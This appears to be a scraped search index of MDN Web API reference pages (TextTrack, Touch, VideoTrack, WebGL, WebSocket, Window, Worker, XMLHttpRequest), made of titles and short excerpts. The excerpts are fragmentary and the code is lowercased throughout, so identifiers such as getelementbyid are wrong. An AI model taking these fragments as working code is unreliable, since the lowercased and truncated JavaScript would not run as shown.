xttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living standardthe definition of 'cuechange' in that specification.
TextTrack - Web APIs
WebAPITextTrack
example tbd specifications specification status comment html living standardthe definition of 'texttrack' in that specification.
TextTrackList: addtrack event - Web APIs
listener('addtrack', (event) => { console.log(`text track: ${event.track.label} added`); }); using the onaddtrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onaddtrack = (event) => { console.log(`text track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
TextTrackList: change event - Web APIs
ent.texttracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); using the onchange event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; specifications specification status html living standardthe definition of 'change' in that specification.
getTrackById() - Web APIs
specifications specification status comment html living standardthe definition of 'texttracklist.gettrackbyid()' in that specification.
TextTrackList.length - Web APIs
specifications specification status comment html living standardthe definition of 'texttracklist: length' in that specification.
TextTrackList.onaddtrack - Web APIs
document.queryselector("video").texttracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'texttracklist: onaddtrack' in that specification.
TextTrackList.onchange - Web APIs
/* do something */ }; specifications specification status comment html living standardthe definition of 'texttracklist: onchange' in that specification.
TextTrackList.onremovetrack - Web APIs
specifications specification status comment html living standardthe definition of 'texttracklist: onremovetrack' in that specification.
TextTrackList: removeTrack event - Web APIs
ovetrack', (event) => { console.log(`text track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onremovetrack = (event) => { console.log(`text track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
TextTrackList - Web APIs
texttracks.onaddtrack = updatetrackcount; texttracks.onremovetrack = updatetrackcount; function updatetrackcount(event) { trackcount = texttracks.length; drawtrackcountindicator(trackcount); } specifications specification status comment html living standardthe definition of 'textracklist' in that specification.
TimeEvent - Web APIs
WebAPITimeEvent
methods inittimeevent(domstring typearg, abstractview viewarg, long detailarg) the inittimeevent method is used to initialize the value of a timeevent created through the documentevent interface.
Touch.force - Web APIs
WebAPITouchforce
console.log("targettouches[" + i + "].force = " + e.targettouches[i].force); } }, false); specifications specification status comment touch events – level 2 draft initial definition.
Touch.identifier - Web APIs
WebAPITouchidentifier
touch events recommendation initial definition.
Touch.screenY - Web APIs
WebAPITouchscreenY
touch events recommendation initial definition.
TouchEvent.altKey - Web APIs
WebAPITouchEventaltKey
touch events recommendation initial definition.
TouchEvent.changedTouches - Web APIs
touch events recommendation initial definition.
TouchEvent.ctrlKey - Web APIs
touch events recommendation initial definition.
TouchEvent.metaKey - Web APIs
touch events recommendation initial definition.
TouchEvent.shiftKey - Web APIs
touch events recommendation initial definition.
TouchEvent.targetTouches - Web APIs
touch events recommendation initial definition.
TouchEvent.touches - Web APIs
touch events recommendation initial definition.
TouchList.item() - Web APIs
WebAPITouchListitem
touch events recommendation initial definition.
TouchList.length - Web APIs
WebAPITouchListlength
touch events recommendation initial definition.
TouchList - Web APIs
WebAPITouchList
touch events recommendation initial definition.
Multi-touch interaction - Web APIs
function set_handlers(name) { // install event handlers for the given element var el=document.getelementbyid(name); el.ontouchstart = start_handler; el.ontouchmove = move_handler; // use same handler for touchcancel and touchend el.ontouchcancel = end_handler; el.ontouchend = end_handler; } function init() { set_handlers("target1"); set_handlers("target2"); set_handlers("target3"); set_handlers("target4"); } move/pinch/zoom handler this function provides very basic support for 2-touch horizontal move/pinch/zoom handling.
TrackDefault.kinds - Web APIs
the kinds read-only property of the trackdefault interface returns default kinds for an associated sourcebuffer to use when an initialization segment does not contain label information for a new track.
TrackDefault.label - Web APIs
the label read-only property of the trackdefault interface returns the default label for an associated sourcebuffer to use when an initialization segment does not contain label information for a new track.
TrackDefault.language - Web APIs
the language read-only property of the trackdefault interface returns a default language for an associated sourcebuffer to use when an initialization segment does not contain language information for a new track.
URLUtilsReadOnly - Web APIs
urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the url.
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if (quality.corruptedvideoframes/quality.totalvideoframes > 0.05) { downgradevideo(videoelem); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality: corruptedvideoframes' in that specification.
VideoTrack.id - Web APIs
WebAPIVideoTrackid
specifications specification status comment html living standardthe definition of 'videotrack: id' in that specification.
VideoTrack.kind - Web APIs
WebAPIVideoTrackkind
specifications specification status comment html living standardthe definition of 'videotrack: kind' in that specification.
VideoTrack.label - Web APIs
WebAPIVideoTracklabel
specifications specification status comment html living standardthe definition of 'videotrack: label' in that specification.
Videotrack.language - Web APIs
specifications specification status comment html living standardthe definition of 'videotrack: language' in that specification.
VideoTrack.selected - Web APIs
specifications specification status comment html living standardthe definition of 'videotrack: selected' in that specification.
VideoTrack.sourceBuffer - Web APIs
specifications specification status comment media source extensionsthe definition of 'videotrack: sourcebuffer' in that specification.
VideoTrack - Web APIs
specifications specification status comment html living standardthe definition of 'videotrack' in that specification.
VideoTrackList: addtrack event - Web APIs
ventlistener('addtrack', (event) => { console.log(`video track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onaddtrack = (event) => { console.log(`video track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
VideoTrackList: change event - Web APIs
e.log(`'${event.type}' event fired`); }; // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); specifications specification status html living standardthe definition of 'change' in that specification.
getTrackById - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist.gettrackbyid()' in that specification.
VideoTrackList.length - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: length' in that specification.
VideoTrackList.onaddtrack - Web APIs
document.queryselector("video").videotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'videotracklist: onaddtrack' in that specification.
VideoTrackList.onchange - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: onchange' in that specification.
VideoTrackList.onremovetrack - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: onremovetrack' in that specification.
VideoTrackList: removetrack event - Web APIs
'removetrack', (event) => { console.log(`video track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onremovetrack = (event) => { console.log(`video track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
VideoTrackList.selectedIndex - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: selectedindex' in that specification.
VideoTrackList - Web APIs
videotracks.onaddtrack = updatetrackcount; videotracks.onremovetrack = updatetrackcount; function updatetrackcount(event) { trackcount = videotracks.length; drawtrackcountindicator(trackcount); } specifications specification status comment html living standardthe definition of 'videotracklist' in that specification.
WaveShaperNode.curve - Web APIs
distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'curve' in that specification.
WaveShaperNode - Web APIs
distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'waveshapernode' in that specification.
WebGLRenderingContext.commit() - Web APIs
// push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'the commit() method of the offscreencanvas object's rendering context' in that specification.
Clearing by clicking - Web APIs
// otherwise, initialize the drawing buffer (the viewport).
Clearing with colors - Web APIs
otherwise, initialize // the drawing buffer (the viewport) and clear the context // with a solid color.
Color masking - Web APIs
it allows us to setup webgl in a single initialization phase, and then just execute drawing commands for each frame.
Hello GLSL - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program)...
Scissor animation - Web APIs
in here we set the initial // position of the square to be at the top left corner of the // drawing buffer.
Simple color animation - Web APIs
clearinterval(timer); } // call stopanimation() once to setup the initial event // handlers for canvas and button.
Textures from code - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0, 0.0]), gl.static_draw); gl.vertexattribpointer(0, 2, gl.float, false, 0, 0); } function cleanu...
Data in WebGL - Web APIs
WebAPIWebGL APIData
//init colors var vertexcolors = [ vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green ...
Animating objects with WebGL - Web APIs
after translating to the initial drawing position for the square, we apply the rotation like this: mat4.rotate(modelviewmatrix, // destination matrix modelviewmatrix, // matrix to rotate squarerotation, // amount to rotate in radians [0, 0, 1]); // axis to rotate around this rotates the modelviewmatrix by the current value of squarerotation, around the z axis.
Creating 3D objects using WebGL - Web APIs
define the positions of the cube's vertices first, let's build the cube's vertex position buffer by updating the code in initbuffers().
Using shaders to apply color in WebGL - Web APIs
we'll do that by adding the following code to our initbuffers() function: function initbuffers(){ ...
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
webgl 1.0 recommendation initial definition.
WebKitCSSMatrix - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'webkitcssmatrix' in that specification.
Lifetime of a WebRTC session - Web APIs
this is a process by which the network connection is renegotiated, exactly the same way the initial ice negotiation is performed, with one exception: media continues to flow across the original network connection until the new one is up and running.
WebSocket() - Web APIs
specifications specification status comment html living standardthe definition of 'the websocket constructor' in that specification.
WebSocket: close event - Web APIs
examplesocket.addeventlistener('close', (event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the event handler property, like this: examplesocket.onclose = function (event) { console.log('the connection has been closed successfully.'); }; specifications specification status html living standardthe definition of 'websocket close' in that specification.
WebSocket: error event - Web APIs
e no interface event event handler property onerror examples // create websocket connection const socket = new websocket('ws://localhost:8080'); // listen for possible errors socket.addeventlistener('error', function (event) { console.log('websocket error: ', event); }); specifications specification status html living standardthe definition of 'websocket error' in that specification.
WebSocket: message event - Web APIs
const socket = new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket message' in that specification.
WebSocket: open event - Web APIs
const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.send('hello server!'); }); specifications specification status html living standardthe definition of 'websocket open' in that specification.
WebSocket - Web APIs
WebAPIWebSocket
const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', function (event) { socket.send('hello server!'); }); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket' in that specification.
Writing WebSocket servers - Web APIs
section 10 discusses security and you should definitely peruse it before exposing your server.
The WebSocket API (WebSockets) - Web APIs
related topics ajax javascript specifications specification status comments html living standardthe definition of 'websocket api' in that specification.
Web Video Text Tracks Format (WebVTT) - Web APIs
specifications specification status comment webvtt: the web video text tracks format candidate recommendation initial definition ...
WebXR application life cycle - Web APIs
include a handler for the xrsession event end event to be informed when the session is ending, regardless of whether your code, the user, or the browser initiated the termination of the session.
Targeting and hit detection - Web APIs
real-world hit testing the acronym "lidar" has multiple definitions depending on specifics of how it's implemented, but the end result is the same.
Web Animations API Concepts - Web APIs
each document has a master timeline, document.timeline, which stretches from the moment the page is loaded to infinity — or until the window is closed.
Web Animations API - Web APIs
specifications specification status comment web animations working draft initial definition ...
Advanced techniques: Creating and sequencing audio - Web APIs
initial oscillator we'll set up our first oscillatornode the same way as our sweep sound, except we won't use a wavetable to set a bespoke wave — we'll just use the default sine wave: let osc = audioctx.createoscillator(); osc.type = 'sine'; osc.frequency.value = 880; now we're going to create a gainnode, as it's the gain value that we will oscillate with our second, low frequency oscillator: le...
Basic concepts behind Web Audio API - Web APIs
the specification explicitly allows the future definition of new speaker layouts.
Web Audio API best practices - Web APIs
a user gesture has been interpreted to mean a user-initiated event, normally a click event.
Migrating from webkitAudioContext - Web APIs
); src.noteoff(2); you can simply change it like this in order to port it to the standard audiocontext api: var osc = context.createoscillator(); osc.start(1); osc.stop(1.5); var src = context.createbuffersource(); src.start(1, 0.25); src.stop(2); remove synchronous buffer creation in the old webkit implementation of web audio, there were two versions of createbuffer(), one which created an initially empty buffer, and one which took an existing arraybuffer containing encoded audio, decoded it and returned the result in the form of an audiobuffer.
Attestation and Assertion - Web APIs
they have similar names and similar purposes, but understanding the differences may be an initial point of confusion.
Web Budget API - Web APIs
specifications specification status comment web budget api draft initial definition.
Web Crypto API - Web APIs
specifications specification status comment web cryptography api recommendation initial definition ...
Web Locks API - Web APIs
specifications specification status comment web locks api draft initial definition.
Web Speech API - Web APIs
specifications specification status comment web speech api draft initial definition ...
Using the Web Storage API - Web APIs
so, for example, initially calling localstorage on a document will return a storage object; calling sessionstorage on a document will return a different storage object.
The structured clone algorithm - Web APIs
it clones by recursing through the input object while maintaining a map of previously visited references, to avoid infinitely traversing cycles.
Using Web Workers - Web APIs
specifications specification status comment html living standardthe definition of 'web workers' in that specification.
Window: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
Window.alert() - Web APIs
WebAPIWindowalert
specification specification status comment html living standardthe definition of 'alert()' in that specification.
Window: animationcancel event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: animationend event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: animationiteration event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: animationstart event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window.blur() - Web APIs
WebAPIWindowblur
specification specification status comment html living standardthe definition of 'window.blur()' in that specification.
Window: blur event - Web APIs
WebAPIWindowblur event
document object model (dom) level 3 events specification obsolete initial definition ...
window.cancelAnimationFrame() - Web APIs
progress / 10, 200) + 'px'; if (progress < 2000) { // it's important to update the requestid each time you're calling requestanimationframe myreq = requestanimationframe(step); } } myreq = requestanimationframe(step); // the cancelation uses the last requestid cancelanimationframe(myreq); specifications specification status comment html living standardthe definition of 'cancelanimationframe()' in that specification.
window.cancelIdleCallback() - Web APIs
specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition.
Window.captureEvents() - Web APIs
ck; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
Window: clipboardchange event - Web APIs
bubbles no cancelable no interface clipboardevent event handler property none examples javascript window.addeventlistener('clipboardchange', () => { console.log('clipboard contents changed'); }); specifications specification status clipboard api and eventsthe definition of 'clipboardchange event' in that specification.
Window.closed - Web APIs
WebAPIWindowclosed
const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.location.reload(true); } else { // open a new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html living standardthe definition of 'window.closed' in that specification.
Window.confirm() - Web APIs
WebAPIWindowconfirm
specification specification status comment html living standardthe definition of 'confirm()' in that specification.
Window.console - Web APIs
WebAPIWindowconsole
specifications specification status comment console api living standard initial definition.
Window.content - Web APIs
WebAPIWindowcontent
note: since firefox 57 (initially nightly-only), both the content and _content variants are only available to chrome (privileged) code, and not available to the web anymore.
Window: devicemotion event - Web APIs
} window.addeventlistener("devicemotion", handlemotionevent, true); specifications specification status deviceorientation event specificationthe definition of 'devicemotion event' in that specification.
Window: deviceorientation event - Web APIs
= event.gamma; // beta: front back motion var fronttoback = event.beta; handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(fronttoback, lefttoright, rotatedegrees) { // do something amazing }; specifications specification status deviceorientation event specificationthe definition of 'deviceorientation event' in that specification.
Window.external - Web APIs
WebAPIWindowexternal
specifications specification status html living standardthe definition of 'external' in that specification.
Window.focus() - Web APIs
WebAPIWindowfocus
syntax window.focus() example if (clicked) { window.focus(); } specification specification status comment html living standardthe definition of 'window.focus()' in that specification.
Window: focus event - Web APIs
document object model (dom) level 3 events specification obsolete initial definition ...
Window.getSelection() - Web APIs
specifications specification status comment selection apithe definition of 'window.getselection()' in that specification.
Window.isSecureContext - Web APIs
}); } specifications specification status comment secure contexts candidate recommendation initial definition.
Window: languagechange event - Web APIs
languagechange event in an addeventlistener method: window.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
Window.localStorage - Web APIs
specifications specification status comment html living standardthe definition of 'localstorage' in that specification.
Window.moveBy() - Web APIs
WebAPIWindowmoveBy
function budge() { moveby(10, -10); } specification specification status comment css object model (cssom) view modulethe definition of 'window.moveby()' in that specification.
Window.navigator - Web APIs
WebAPIWindownavigator
} else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you are using: " + sbrowser); specifications specification status comment html living standardthe definition of 'window: navigator' in that specification.
Window: offline event - Web APIs
event handler property onoffline examples // addeventlistener version window.addeventlistener('offline', (event) => { console.log("the network connection has been lost."); }); // onoffline version window.onoffline = (event) => { console.log("the network connection has been lost."); }; specifications specification status html living standardthe definition of 'offline event' in that specification.
Window.ondevicemotion - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial definition.
window.ondeviceorientation - Web APIs
}); specifications specification status comment deviceorientation event specification editor's draft initial specification.
Window: online event - Web APIs
event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe definition of 'online event' in that specification.
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
example var win = opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); notes new features all - initially activates (or deactivates ("all=no")) all chrome (except the behavior flags chrome, dialog and modal).
Window.opener - Web APIs
WebAPIWindowopener
specifications specification status comment html living standardthe definition of 'window.opener' in that specification.
Window.orientation - Web APIs
specifications specification status comment compatibility standardthe definition of 'window.orientation' in that specification.
Window: orientationchange event - Web APIs
) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }); or use the onorientationchange event handler property: window.onorientationchange = function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }; specifications specification status compatibility standardthe definition of 'orientationchange' in that specification.
Window.outerHeight - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.outerheight' in that specification.
Window.pageXOffset - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.pagexoffset' in that specification.
Window.pageYOffset - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.pageyoffset' in that specification.
Window.parent - Web APIs
WebAPIWindowparent
syntax var parentwindow = window.parent; example if (window.parent != window.top) { // we're deeper than one down } specifications specification status comment html living standardthe definition of 'window.parent' in that specification.
Window.performance - Web APIs
specifications specification status comment high resolution timethe definition of 'window.performance' in that specification.
Window: popstate event - Web APIs
specifications specification status html living standardthe definition of 'popstate' in that specification.
window.postMessage() - Web APIs
specifications specification status comment html living standardthe definition of 'postmessage()' in that specification.
Window.print() - Web APIs
WebAPIWindowprint
syntax window.print() specification specification status comment html living standardthe definition of 'print()' in that specification.
Window.prompt() - Web APIs
WebAPIWindowprompt
const anumber = number(window.prompt("type a number", "")); specification specification status comment html living standardthe definition of 'prompt()' in that specification.
window.requestIdleCallback() - Web APIs
specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition.
Window.resizeBy() - Web APIs
WebAPIWindowresizeBy
specifications specification status comment css object model (cssom) view modulethe definition of 'window.resizeby()' in that specification.
Window.resizeTo() - Web APIs
WebAPIWindowresizeTo
function quarter() { window.resizeto( window.screen.availwidth / 2, window.screen.availheight / 2 ); } specification specification status comment css object model (cssom) view modulethe definition of 'window.resizeto()' in that specification.
Window.scrollX - Web APIs
WebAPIWindowscrollX
window.pageyoffset : (document.documentelement || document.body.parentnode || document.body).scrolltop; specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollx' in that specification.
Window.scrollY - Web APIs
WebAPIWindowscrollY
document.documentelement.scrolltop : document.body.scrolltop; specification specification status comment css object model (cssom) view modulethe definition of 'window.scrolly' in that specification.
Window.sessionStorage - Web APIs
specifications specification status comment html living standardthe definition of 'sessionstorage' in that specification.
Window.speechSynthesis - Web APIs
his = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
Window.status - Web APIs
WebAPIWindowstatus
syntax window.status = string; var value = window.status; specifications specification status comment html living standardthe definition of 'window.status' in that specification.
Window: storage event - Web APIs
console.log(json.parse(window.localstorage.getitem('samplelist'))); }; specifications specification status html living standardthe definition of 'storage' in that specification.
Window: unload event - Web APIs
specifications specification status comment ui eventsthe definition of 'unload' in that specification.
WindowEventHandlers.onafterprint - Web APIs
}; specification specification status comment html living standardthe definition of 'onafterprint' in that specification.
WindowEventHandlers.onbeforeprint - Web APIs
var mediaquerylist = window.matchmedia('print'); mediaquerylist.addlistener(function(mql) { if(mql.matches) { console.log('webkit equivalent of onbeforeprint'); } }); specification specification status comment html living standardthe definition of 'onbeforeprint' in that specification.
WindowEventHandlers.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
WindowEventHandlers.onpopstate - Web APIs
specifications specification status comment html living standardthe definition of 'onpopstate' in that specification.
WindowEventHandlers.onstorage - Web APIs
window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification.
self.createImageBitmap() - Web APIs
agebitmap(image, 0, 0, 32, 32), createimagebitmap(image, 32, 0, 32, 32) ]).then(function(sprites) { // draw each sprite onto the canvas ctx.drawimage(sprites[0], 0, 0); ctx.drawimage(sprites[1], 32, 32); }); } // load the sprite sheet from an image file image.src = 'sprites.png'; specifications specification status comment html living standardthe definition of 'createimagebitmap' in that specification.
WindowOrWorkerGlobalScope - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope mixin' in that specification.
Worker() - Web APIs
WebAPIWorkerWorker
specifications specification status comment html living standardthe definition of 'worker()' in that specification.
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
specifications specification status comment html living standardthe definition of 'worker.onmessage' in that specification.
Worker.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
Worker.prototype.postMessage() - Web APIs
to see a full working example of this firefox demo add-on see here: github :: chromeworker - demo-transfer-arraybuffer specifications specification status comment html living standardthe definition of 'worker.postmessage()' in that specification.
Worker.terminate() - Web APIs
WebAPIWorkerterminate
var myworker = new worker('worker.js'); myworker.terminate(); specifications specification status comment html living standardthe definition of 'worker.terminate()' in that specification.
Worker - Web APIs
WebAPIWorker
specifications specification status comment html living standardthe definition of 'worker' in that specification.
WorkerGlobalScope.importScripts() - Web APIs
specifications specification status comment html living standardthe definition of 'importscripts()' in that specification.
WorkerGlobalScope: languagechange event - Web APIs
languagechange event in an addeventlistener method: worker.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: worker.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
WorkerGlobalScope.location - Web APIs
specifications specification status comment html living standardthe definition of 'location' in that specification.
WorkerGlobalScope.navigator - Web APIs
specifications specification status comment html living standardthe definition of 'navigator' in that specification.
WorkerGlobalScope.onerror - Web APIs
}; example the following code snippet shows an onerror handler set inside a worker: self.onerror = function() { console.log('there is an error inside your worker!'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onerror' in that specification.
WorkerGlobalScope.onlanguagechange - Web APIs
}; example the following code snippet shows an onlanguagechange handler set inside a worker: self.onlanguagechange = function() { console.log('your preferred language settings have been changed'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onlanguagechange' in that specification.
WorkerGlobalScope.onoffline - Web APIs
}; example the following code snippet shows an onoffline handler set inside a worker: self.onoffline = function() { console.log('your worker is now offline'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onoffline' in that specification.
WorkerGlobalScope.ononline - Web APIs
}; example the following code snippet shows an ononline handler set inside a worker: self.ononline = function() { console.log('your worker is now online'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.ononline' in that specification.
WorkerGlobalScope.performance - Web APIs
specifications specification status comment high resolution time level 2the definition of 'performance' in that specification.
WorkerGlobalScope - Web APIs
specifications specification status comment html living standardthe definition of 'workerglobalscope' in that specification.
WorkerNavigator.permissions - Web APIs
examples self.navigator.permissions.query({name:'notifications'}).then(function(result) { if (result.state === 'granted') { shownotification(); } else if (result.state === 'prompt') { requestnotificationpermission() } }); specification specification status comment permissions working draft initial definition.
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
ps://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports (background-image: paint(id)) { h1 { background-image: paint(hollowhighlights, filled, 3px); } } specifications specification status comment worklets level 1the definition of 'addmodule()' in that specification.
Worklet - Web APIs
WebAPIWorklet
specifications specification status comment worklets level 1the definition of 'worklet' in that specification.
HTML in XMLHttpRequest - Web APIs
specifications specification status comment xmlhttprequest living standard initial definition ...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
let error = cc["@mozilla.org/dom-error;1"].createinstance(ci.nsidomdomerror); error.wrappedjsobject.init(errname); return error; // xxx: errtype goes unused } function dumpsecurityinfo(xhr, error) { let channel = xhr.channel; try { dump("connection status:\n"); if (!error) { dump("\tsucceeded\n"); } else { dump("\tfailed: " + error.name + "\n"); } let secinfo = channel.securityinfo; // print general connection security state dump("security inf...
Using XMLHttpRequest - Web APIs
eq.send(); do something when last modified date changes let's create two functions: function getheadertime () { var nlastvisit = parsefloat(window.localstorage.getitem('lm_' + this.filepath)); var nlastmodif = date.parse(this.getresponseheader("last-modified")); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { window.localstorage.setitem('lm_' + this.filepath, date.now()); isfinite(nlastvisit) && this.callback(nlastmodif, nlastvisit); } } function ifhaschanged(surl, fcallback) { var oreq = new xmlhttprequest(); oreq.open("head" /* use head - we only need the headers!
XMLHttpRequest() - Web APIs
the object must be prepared by at least calling open() to initialize it before calling send() to send the request to the server.
XMLHttpRequest.channel - Web APIs
in the case of a multi-part request, this is the initial channel, not the different parts in the multi-part request.
XMLHttpRequest.getAllResponseHeaders() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'getallresponseheaders()' in that specification.
XMLHttpRequest.getResponseHeader() - Web APIs
client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification.
XMLHttpRequest.multipart - Web APIs
if set to true, the content type of the initial response must be multipart/x-mixed-replace or an error will occur.
XMLHttpRequest.overrideMimeType() - Web APIs
// interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest.response - Web APIs
you may attempt to request the data be provided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling send() to send the request to the server.
XMLHttpRequest.responseXML - Web APIs
setype must be empty string or "document" xhr.responsetype = 'document'; // force the response to be parsed as xml xhr.overridemimetype('text/xml'); xhr.onload = function () { if (xhr.readystate === xhr.done && xhr.status === 200) { console.log(xhr.response, xhr.responsexml); } }; xhr.send(); specifications specification status comment xmlhttprequestthe definition of 'responsexml' in that specification.
XMLHttpRequest.setRequestHeader() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'setrequestheader()' in that specification.
XMLHttpRequest: timeout event - Web APIs
